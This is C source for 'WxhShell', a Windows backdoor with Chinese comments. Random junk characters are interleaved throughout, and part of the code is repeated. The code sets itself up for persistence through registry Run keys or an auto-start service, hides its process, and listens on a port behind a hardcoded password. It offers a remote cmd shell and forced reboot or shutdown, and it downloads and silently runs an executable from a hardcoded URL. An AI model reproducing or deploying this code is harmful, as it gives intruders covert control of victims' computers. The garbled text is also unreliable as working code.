^GYnn Xa," 'r static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~. YWV static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z:*@5 #sTEQjJ,J HANDLE hProcess; 5c5oSy+ PROCESS_BASIC_INFORMATION pbi; pd3,pQ Y4E/?37j HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >@_im6 if(NULL == hInst ) return 0; +vW)vS[ W3r?7!~ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l.`u5D g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D-2.fjo9! NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G,f-. 'OkGReKt if (!NtQueryInformationProcess) return 0; LJFG0 W bDnZcf hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1TS0X:TCn if(!hProcess) return 0; .B72C[' c ?m7:if+y if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /J3ZL[o?Q sa1h%< CloseHandle(hProcess); \3Pv# ) HDVW0QaMu hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z(u5$<up if(hProcess==NULL) return 0; :O-iykXyI xYfD()w<I HMODULE hMod; ^Hrn ] char procName[255]; T!RT<& unsigned long cbNeeded; izgp*M, oVvc?P if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C NsNZJ |4(~%| 8{ CloseHandle(hProcess);
YZc>dE ^qGb%! l if(strstr(procName,"services")) return 1; // 以服务启动 ^n1%OzGK# TlZT1H return 0; // 注册表启动 {@W93=Vq8 } e~l#4{w N_eX/ux // 主模块 V7d)S&*V int StartWxhshell(LPSTR lpCmdLine) 7 c|bc6? { dCyqvg6u SOCKET wsl; <%.5hCTp97 BOOL val=TRUE; <"N_j]wD int port=0; ~{hxR)x9 struct sockaddr_in door; ^I8Esl8 W%<LTWOc if(wscfg.ws_autoins) Install(); %nN `|\ qgIb/6;xQ port=atoi(lpCmdLine); Kt@M)# @"a6fn if(port<=0) port=wscfg.ws_port; Hnknly 7SD Fz} WSADATA data; 8Jf.ECQT if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o#) {1<0vg OsBo+fwT if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Z;9>S=w! setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b@RHc!,>jV door.sin_family = AF_INET; !!@A8~H door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8fA_p}wp door.sin_port = htons(port); sn7AR88M; B9p?8.[ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bvfk closesocket(wsl); 4tL<q_ return 1; 5T sU Qc } R1Sy9x . l/;X?g5+ if(listen(wsl,2) == INVALID_SOCKET) { *8~86u GU closesocket(wsl); c/c$D;T return 1; zJe#m|Z } fXrXV~'8 Wxhshell(wsl); [MuEoWrq(} WSACleanup(); wFG3KzEq ~ zD?oXs return 0; 3u%{dG a O=u1u}CP? } ^C2\`jLMY 8~5cJPi6 // 以NT服务方式启动 F~A 'X VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SG6sw]x { !i=nSqW DWORD status = 0; =zwOq(Bh W DWORD specificError = 0xfffffff; cuOvN"nuNj v\(2&* serviceStatus.dwServiceType = SERVICE_WIN32; oK 6(HF'& serviceStatus.dwCurrentState = SERVICE_START_PENDING; sz9L8f2 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s-dLZ.9F serviceStatus.dwWin32ExitCode = 0;
yf&7P;A serviceStatus.dwServiceSpecificExitCode = 0; c- .t>r& serviceStatus.dwCheckPoint = 0; 0uBl>A7qhn serviceStatus.dwWaitHint = 0; o)'y.-@Q +F
dB ' hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N!*_La=TuH if (hServiceStatusHandle==0) return; @)SL_9 Nj("|`9" status = GetLastError(); @LJpdvb if (status!=NO_ERROR) >>[G1 { ~on(3|$ serviceStatus.dwCurrentState = SERVICE_STOPPED; bXS:x serviceStatus.dwCheckPoint = 0; J,b&XD@m serviceStatus.dwWaitHint = 0; kI%%i>Y} serviceStatus.dwWin32ExitCode = status; fxgr`nC serviceStatus.dwServiceSpecificExitCode = specificError; %#$EP7"J SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wh&8pH: return; 4lZ$;:Jg } {[+2n]f_G p ;|jI1 serviceStatus.dwCurrentState = SERVICE_RUNNING; s: 3z'4oX serviceStatus.dwCheckPoint = 0; P6MRd/y | serviceStatus.dwWaitHint = 0; @)K%2Y` if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dg^L= } JMTvSXr wY"Q o7 // 处理NT服务事件,比如:启动、停止 KoS*0U<g6 VOID WINAPI NTServiceHandler(DWORD fdwControl) A'nq}t 3 { t=xOQ8 switch(fdwControl) }2ZsHM^]% { ZR\VCVH\^ case SERVICE_CONTROL_STOP: 7+hK~ serviceStatus.dwWin32ExitCode = 0; d`1I".y serviceStatus.dwCurrentState = SERVICE_STOPPED; Y-0?a?q2Fr serviceStatus.dwCheckPoint = 0; wW"z serviceStatus.dwWaitHint = 0; \RVW { (
9]_ HW[ SetServiceStatus(hServiceStatusHandle, &serviceStatus); D13Rx 6b }
al`3Lu0 return; "l >Igm case SERVICE_CONTROL_PAUSE: BIj=!! serviceStatus.dwCurrentState = SERVICE_PAUSED; q{ /3V break; C4}*)a case SERVICE_CONTROL_CONTINUE: s{w[b\rA serviceStatus.dwCurrentState = SERVICE_RUNNING; X=C1/4wU break; 3z]+uv+2J case SERVICE_CONTROL_INTERROGATE: vF?5].T break; -WQ^gcO=7 }; '<0J@^vZ SetServiceStatus(hServiceStatusHandle, &serviceStatus); CB&iI' } ^GBe)~MT 4 QZ?}iz // 标准应用程序主函数 ^'jEnN( int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x2QIPUlf { a" H WGY \u&_sBLKV // 获取操作系统版本 xF8}:z0 OsIsNt=GetOsVer(); ,|88r=} GetModuleFileName(NULL,ExeFile,MAX_PATH); Od?qz1
.Gcy>Av // 从命令行安装 MC&\bf if(strpbrk(lpCmdLine,"iI")) Install(); vzn{h)D X{kpSA~ // 下载执行文件 KFZm`,+69 if(wscfg.ws_downexe) { 6{qIU}! if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0qrqg] WinExec(wscfg.ws_filenam,SW_HIDE); Y4IGDY* } 5
|/9}^T ip~$X2 if(!OsIsNt) { KgW:@X7wvM // 如果时win9x,隐藏进程并且设置为注册表启动 S60IPya HideProc(); pN\Vr8tJ StartWxhshell(lpCmdLine); >E,U>@+ } m4:^}O-# else T}3v(6ew4 if(StartFromService()) >h+349 // 以服务方式启动 +\"-P72vjk StartServiceCtrlDispatcher(DispatchTable); gDIBnH else J1XL<7 // 普通方式启动 VzJ5.mRQ StartWxhshell(lpCmdLine); U4G}DCU Tg3!R q55 return 0; }qjCTEs} } v_<2H'*Q RwVaZJe)l NU(AEfF BGr.yEy =========================================== "g+z !4b# @u._"/K *1@:'rJ >5G>D~b C!C|\$)- A>VX*xd " .qob_dRA EVQ0l@K
#include <stdio.h> tvd0R$5} #include <string.h> vEQ<A<[Z #include <windows.h> gw _$ #include <winsock2.h> vB!|\eJ #include <winsvc.h> _ q(Q #include <urlmon.h> [i]r-|_K \C5%\4 #pragma comment (lib, "Ws2_32.lib") wY"o`oZ #pragma comment (lib, "urlmon.lib") f f 7( V,EF'-F #define MAX_USER 100 // 最大客户端连接数 nY $tp #define BUF_SOCK 200 // sock buffer iq*A("pU #define KEY_BUFF 255 // 输入 buffer ^nVl (^{
_GqS&JHSf #define REBOOT 0 // 重启 n-QJ;37\ #define SHUTDOWN 1 // 关机 0|D&"/.R#! V[a[i>,Z #define DEF_PORT 5000 // 监听端口 >"3>fche 9SMiJad< #define REG_LEN 16 // 注册表键长度 r.0oxH'] #define SVC_LEN 80 // NT服务名长度 A"Q@W<. *^ \FIUd // 从dll定义API 2i|B=D( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %]p6Kn/> typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c<+;4z typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ri>?KrQF% typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `:M^8SYrL "8V{5e!%j' // wxhshell配置信息 V,%L~dI struct WSCFG { SK$Vk[c] int ws_port; // 监听端口 *R% wUi char ws_passstr[REG_LEN]; // 口令 N_75-S7Cm int ws_autoins; // 安装标记, 1=yes 0=no #fhEc;t char ws_regname[REG_LEN]; // 注册表键名 ^%y`u1ab char ws_svcname[REG_LEN]; // 服务名 {F|48P;J char ws_svcdisp[SVC_LEN]; // 服务显示名 .I$}KE) char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^;F{)bmu+) char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uHNpfKnZ int ws_downexe; // 下载执行标记, 1=yes 0=no A\te*G0:S char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8cHE[I char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3kmeD". ix Z)tNz }; u}6v?! w?csV8ot // default Wxhshell configuration !p
8psi0 struct WSCFG wscfg={DEF_PORT, ;LJ3c7$@lf "xuhuanlingzhe", t^EhE 1, d`Q7"}uZ "Wxhshell", wb"RB
A9 "Wxhshell", LZ*R[ "WxhShell Service", ZEbLL4n "Wrsky Windows CmdShell Service", =FW5Tkw0 "Please Input Your Password: ", AW5iV3 1, y,+[$u7h "http://www.wrsky.com/wxhshell.exe", @LLTB(@wR "Wxhshell.exe" \)m"3yY }; GIHpSy`z 'PdmI<eXQ // 消息定义模块 '~-IV0v9 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h[XGC=% char *msg_ws_prompt="\n\r? for help\n\r#>"; "r.2]R3 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $M"0BZQ?y! char *msg_ws_ext="\n\rExit."; kReG: char *msg_ws_end="\n\rQuit."; G5]1s char *msg_ws_boot="\n\rReboot..."; Zzd/K^gg char *msg_ws_poff="\n\rShutdown..."; ecH/Wz1 char *msg_ws_down="\n\rSave to "; <rK=9"$y(t dGgP_S char *msg_ws_err="\n\rErr!"; 7el<5chZ char *msg_ws_ok="\n\rOK!"; &:?e & e-D4'lu char ExeFile[MAX_PATH]; #A <1aQ int nUser = 0; ,&a`d}g&G HANDLE handles[MAX_USER]; nbvkP int OsIsNt; |9NIGg'n >mIg@knE SERVICE_STATUS serviceStatus; w4MwD?i]R SERVICE_STATUS_HANDLE hServiceStatusHandle; (N U0Tw O25mkX // 函数声明 (M% ;~y\ int Install(void); ~oi_r8K int Uninstall(void); A1JzW)B int DownloadFile(char *sURL, SOCKET wsh); 8@7AE" int Boot(int flag); E5x]zXy4 void HideProc(void); Q(\ wx int GetOsVer(void); |"}4*V_ * int Wxhshell(SOCKET wsl); P79R~m` void TalkWithClient(void *cs); *PB/iVH%6 int CmdShell(SOCKET sock); 8j\d~Lw= int StartFromService(void); ?f2G?Y int StartWxhshell(LPSTR lpCmdLine); 52<~K R#6H'TVE VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >rRf9wO1l VOID WINAPI NTServiceHandler( DWORD fdwControl ); .98.G4J> u:4["ViC // 数据结构和表定义 #Go(tS~o SERVICE_TABLE_ENTRY DispatchTable[] = <:cpz* G4 { 6D*chvNA; {wscfg.ws_svcname, NTServiceMain}, w4OW4J# {NULL, NULL} 0!IPcZjY7 }; rsSue_Q }1rvM4{/+f // 自我安装 y"R("j $ int Install(void) v!!;js^ { '(9YB9 i char svExeFile[MAX_PATH]; %AgA -pBp HKEY key; 83?1<v0% strcpy(svExeFile,ExeFile); 0o;~~\fq. 5vGioO // 如果是win9x系统,修改注册表设为自启动 ,Qo}J@e( if(!OsIsNt) { r9;` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /d]~ly
@uI RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZV#$Z RegCloseKey(key); kC|Tubs( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E.#6;HHzN RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z%;)@0~f RegCloseKey(key); a],h<wGEx return 0; Okoo(dfM } ,7I},sZj } 7%tR&F -u } AI R{s7N else { =?+w)(*0c EJ8I[( // 如果是NT以上系统,安装为系统服务 mLULd} g/o SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n`QO(pZ6+ if (schSCManager!=0) v<+4BjV!J} { x i.IRAZX SC_HANDLE schService = CreateService (qj,GmcS ( )8bFGX7| schSCManager, 7)SG#|v[$ wscfg.ws_svcname, }-4@EC> wscfg.ws_svcdisp, N1/)Fk-z SERVICE_ALL_ACCESS, R!{^qHb SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3>asl54 SERVICE_AUTO_START, G%5bQ|O SERVICE_ERROR_NORMAL, Ck.LsL- svExeFile, r&!Ebe- NULL, Ya~*e;CW2 NULL, kd55y NULL, >1uo5,wrF NULL, pV:;!+ NULL rG[iEY ); VS`
tj if (schService!=0) I
"Qf};n { v<0\+}T1R CloseServiceHandle(schService); |y%pJdPk= CloseServiceHandle(schSCManager); b^s978qn# strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q~:H>;:G- strcat(svExeFile,wscfg.ws_svcname); J n>3c if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }Br=eaY RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); skaPC#u RegCloseKey(key); k|uW~I) return 0; mv1g2f+ } JJC YM } xD.Uh}:J CloseServiceHandle(schSCManager); +|0f7RB+R } IkWV|E } oyw*Z_ 9~ ke\gzP/ return 1; "R< c } dlv1liSXL5 &,*G}6wa;& // 自我卸载 Q+<{2oVz int Uninstall(void) FT'2J { Y9<N#h# HKEY key; W0-KFo.' 1 sJtkge: if(!OsIsNt) { wmV7g7t6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O~P1d&:L RegDeleteValue(key,wscfg.ws_regname); t_xO-fT) RegCloseKey(key); #!.26RM:P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <ztcCRov RegDeleteValue(key,wscfg.ws_regname); jK(]eiR$S RegCloseKey(key); }R&5Ye return 0; -tPia=^ } [[XbKg`"? } u=QG%O#B } tRtoA5 else { ?y/LMja #@UzOQ> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aam6R/4 if (schSCManager!=0) [,a2A { dy'
J~Eo7 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (O!Q[WLS if (schService!=0) p)e?0m26 { .P:mYC if(DeleteService(schService)!=0) { w<|Qezi3
w CloseServiceHandle(schService); K@<%Vc>L( CloseServiceHandle(schSCManager); 2kSN<jMr return 0; 2kfX_RK } )` z{T CloseServiceHandle(schService); ,9.-A-Yw } }7HR<%<7 CloseServiceHandle(schSCManager); [/Vi*Z } (:r80: } eqQ=HT7J X3zpU7`Av+ return 1; D!WyT`T } e.'6q
($3 %1Nank!Zj // 从指定url下载文件 Ad)::9K?J int DownloadFile(char *sURL, SOCKET wsh) }!9KxwC( { [X^Oxs HRESULT hr; J ?^R1 char seps[]= "/"; i$gH{wn\` char *token; 5DS'22GW` char *file; 2H9;4>ss char myURL[MAX_PATH]; i(mQbWpN char myFILE[MAX_PATH]; Ka/ *Z4" FNR<=M strcpy(myURL,sURL); oY<R[NYKu token=strtok(myURL,seps); LQz6op}R while(token!=NULL) YmPNaL { v%@)I_6[P file=token; CmxQb,Ul s token=strtok(NULL,seps); O)$Pvll } 6wq>&P5 "cz'|z` GetCurrentDirectory(MAX_PATH,myFILE); D"M[}$P strcat(myFILE, "\\"); .]YTS strcat(myFILE, file); 8(>2+#exw send(wsh,myFILE,strlen(myFILE),0); } fJLY\ send(wsh,"...",3,0); }D[j6+E hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .$]-::& if(hr==S_OK) j;BlpRD} return 0; L*FQ`:lZ else TW6F9}'f& return 1; I8f=' +_1sFH` } L6./5`bs JbAmud, // 系统电源模块 VWK%6Ye0 int Boot(int flag) G%ZP` { yA#nnu1 HANDLE hToken; Y @Ur} TOKEN_PRIVILEGES tkp; )4TP{tp 66-tNy if(OsIsNt) { 14DhJUV"b OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x~Dj2F ] LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i1ScXKO tkp.PrivilegeCount = 1; qrf90F) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i5aY{3! AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O(6j:XD if(flag==REBOOT) { 7,zE?KG / if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5^K\<+{~B return 0; U;j\FE^+> } f]_'icP else { pp{2[> if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1m5*MY return 0; l0U23i } N=\weuED }
SsPZva else { J;=T"C& if(flag==REBOOT) { %DA&txX}w if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]6F\a= J return 0; Au6Y] } &B]1 VZUp else { h-kmZ<p|^ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Tw7] return 0; xP,b/T#a } 4Us_Z{. } On54!m C}(@cn `L return 1; bAbR0) } -i1 f
]Bd xH&hs$= // win9x进程隐藏模块 \H~zN]3^
void HideProc(void) ""Da2Md { 2:_6nWl ,uAp;"YJeV HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); '&'m#H*: if ( hKernel != NULL ) DzQ { yu)^s!UY; pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fCwE1r*^ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?3p7MjvZ FreeLibrary(hKernel); _'LZf=V0 } Ml7
(<J s2#Ia>5! return; y TD4![ } UXs)$ ;4[[T%&v // 获取操作系统版本 e=WjFnK[x7 int GetOsVer(void) Aeb(b+= { vWZXb` OSVERSIONINFO winfo; lQ-<T<g winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $[A\i<# GetVersionEx(&winfo); d=PX}o^ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >%k6k1CZ return 1; M'PZ{6; else y
%Q. ( return 0; N-\N\uN } MLu!8dgI q(6.VU@ // 客户端句柄模块 5 wrRtzf int Wxhshell(SOCKET wsl) gSz<K.CT { Ti%MOYNCv SOCKET wsh; .a.HaBBV struct sockaddr_in client;
W,xdj! ^t DWORD myID; r#sg5aS7O| qGk.7wf% while(nUser<MAX_USER) )|~&(+Q?] { AxH;psj int nSize=sizeof(client); #a e@VedM wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >C0B!MT?3% if(wsh==INVALID_SOCKET) return 1; i+`8$uz $.tT handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <aPZE6z if(handles[nUser]==0) Xe4 closesocket(wsh); T!x/^ else @1j*\gYz nUser++; ) 8xbc&M } \#[DZOI~ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }hn?4ny 3cJ'tRsp< return 0; 4zs0+d+ } ?8753{wk }oD^tU IK // 关闭 socket R(}<W$(TV void CloseIt(SOCKET wsh) `C4(C4u { U%Fa.bL~ closesocket(wsh); n{W(8K6d@[ nUser--; M[985bl ExitThread(0); hGKQK
^bn } $\m:}\%p <mJ8~ // 客户端请求句柄 PC5$TJnj3 void TalkWithClient(void *cs) wtbN@g0 { "uplk8iCJ JPL`/WA0 SOCKET wsh=(SOCKET)cs; ^?0'\Z char pwd[SVC_LEN]; [CI0N
I6F char cmd[KEY_BUFF]; amExZ/ char chr[1]; |aU8WRq int i,j; cDYOJu. @0
x while (nUser < MAX_USER) { <5Ll<0 `gCJ[ if(wscfg.ws_passstr) { '
-9=> if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z Fj |E //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \et2aX ! //ZeroMemory(pwd,KEY_BUFF); L^Q;M,.c; i=0; KXl!VD,#`= while(i<SVC_LEN) { 0y/31hp bWlYQ
// 设置超时 CCt\[hl fd_set FdRead; /d! struct timeval TimeOut; OAiv3"p FD_ZERO(&FdRead); 34"PtWbV> FD_SET(wsh,&FdRead); Ndb7>"W TimeOut.tv_sec=8; E^c*x^ TimeOut.tv_usec=0; Wb cm1I) int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dS <*DP if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kw#-\RR_c l1O"hd'~s if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q-_!&kDK" pwd=chr[0]; %8xRT@Q if(chr[0]==0xd || chr[0]==0xa) { ey4.Hj#T pwd=0; ez*QP|F*9 break; 'U`;4AN } gOW8!\V i++; !3mt<i]a" } A%$~ 2E!~RjxSY // 如果是非法用户,关闭 socket k>.8 lc\ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i 61k } E8}evi 9N}\>L)_ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X
V;j6g send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Im/tU6ybV #m{*]mY@ while(1) { IyyBW2 V\<2oG ZeroMemory(cmd,KEY_BUFF); tULGfvp @3O)#r}\ // 自动支持客户端 telnet标准 Q[7 i j=0; Nq6'7'x while(j<KEY_BUFF) { Kx]SiejJ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gK[;"R)4o@ cmd[j]=chr[0]; Zg(Y$ h\ if(chr[0]==0xa || chr[0]==0xd) { ,94<j," cmd[j]=0; ;Y`Y1 break; Fr8GGN~/ } 7mi!yTr} j++; WVy'f|3; } (hzN(Dh a[O6xA% // 下载文件 \j>7x if(strstr(cmd,"http://")) { 3`HK^((o send(wsh,msg_ws_down,strlen(msg_ws_down),0); dq[h:kYm if(DownloadFile(cmd,wsh)) ]yU"J:/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); v~P,OP("c else RwWg:4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `a& kD|Yh } c3A\~tHW else { g`7XE :d36oiHKu switch(cmd[0]) { ggr ~C.*Vc?| // 帮助 }]?Si6_ZZ case '?': { > VG send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *eVq(R9?T break; a&y^Ps6= } b'H'QY
// 安装 nV;'UpQw case 'i': { IV QH
p if(Install()) cpY{o^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); _`$LdqgE else `sxfj)s send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wN2+3LY{ break; ;`9f<d#\ } NzRvb j] // 卸载 Ae)xFnuq3 case 'r': { @nxo Bc !P if(Uninstall()) OfsP5*d send(wsh,msg_ws_err,strlen(msg_ws_err),0); )fH
Q7 else r@r%qkh(.@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]wQ!ZG?)
break;
idmU.` } ~m%[d.
}e // 显示 wxhshell 所在路径 -H1=N case 'p': { C2LPLquD+
char svExeFile[MAX_PATH];
fF:57*ys strcpy(svExeFile,"\n\r"); 4Nm >5*] strcat(svExeFile,ExeFile); r4.6W[|d send(wsh,svExeFile,strlen(svExeFile),0); ~ KK9aV{ break; )W@ug,y } <+8'H:wz // 重启 sW^M
] case 'b': { p_r` " send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *[MWvs:, if(Boot(REBOOT)) VJ*1g+c send(wsh,msg_ws_err,strlen(msg_ws_err),0); +vc +9E.?9 else { F<4rn closesocket(wsh); M,Gy.ivz ExitThread(0); ~G@NWF?7 } 6fwNlC/9 break; 4^_6~ YP7 } C|{Sj`,XG // 关机 ITPE2x case 'd': { /E>;O47a send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~Nh6po{ if(Boot(SHUTDOWN)) ;R$G.5h send(wsh,msg_ws_err,strlen(msg_ws_err),0); goM;Pf
"< else { =dm9+ff closesocket(wsh); l;$F[/3a ExitThread(0); Km2~nkQ } 1eXMMZ/? break; q4BXrEOw } lM-\:Q! // 获取shell y"?`MzcJ0 case 's': { \Z*:l( CmdShell(wsh); a )O"PA}2 closesocket(wsh); %p7
?\> ExitThread(0); _JH.&8 break; ^!['\ } O:]']' / // 退出 '!>9j,BJ case 'x': { Uo3 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }0~$^J CloseIt(wsh); =i~
= |K! break; @= <{_p } l,n_G/\ // 离开 Vmz#u1gGT6 case 'q': { y)r`<B send(wsh,msg_ws_end,strlen(msg_ws_end),0); HoBx0N9\2 closesocket(wsh); rpk8 WSACleanup(); St;9&A exit(1); M]8>5Zx. break; AB=%yM7V* } }#zL)+XI } WO>A55Xya } RqROl!6 <h(AJX7wsD // 提示信息 fWP]{z` if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %/eG{oh- } p5In9s } BDt$s(
\ h!B{7J return; ^;II@n
i } c coi \t{iyUxY // shell模块句柄 i7RK*{ int CmdShell(SOCKET sock) Eu|/pH=: { ;apLMMsWC STARTUPINFO si; c[J 2;"SP ZeroMemory(&si,sizeof(si)); 8hV]t'/; si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H
Qj,0#J) si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {UH45#Ua PROCESS_INFORMATION ProcessInfo; [,bJKz)a char cmdline[]="cmd"; kwi$% CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'q}Ud10c return 0; Y1o[|ytW } QXI~Toddj #h.N#{9 // 自身启动模式 Eq@sU?j int StartFromService(void) R14&V1 tZ { >MJ%6A> typedef struct :] Wn26z) { *wAX&+); DWORD ExitStatus; hl[<o<`Q DWORD PebBaseAddress; I
N@ ~~ DWORD AffinityMask; oD%n} DWORD BasePriority; mAH7;u< ULONG UniqueProcessId; 9f['TG," ULONG InheritedFromUniqueProcessId; v~RxtTu } PROCESS_BASIC_INFORMATION; '3XOU. l[ko)%7V PROCNTQSIP NtQueryInformationProcess; A@M2(?w4 g=KK
PSK static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hW~% :v static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^PdD-tY< "P.sKhuo HANDLE hProcess; [6@bsXiw PROCESS_BASIC_INFORMATION pbi; Sw$&E i K@RQi HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +;H=_~b if(NULL == hInst ) return 0; `-nSH)GBM Eoz/]b g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2w8YtM3+"z g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kFJ]F |^7 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~m R^j uP7|#>1% if (!NtQueryInformationProcess) return 0; n2aUj(Zs= 0#c-qy hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x1
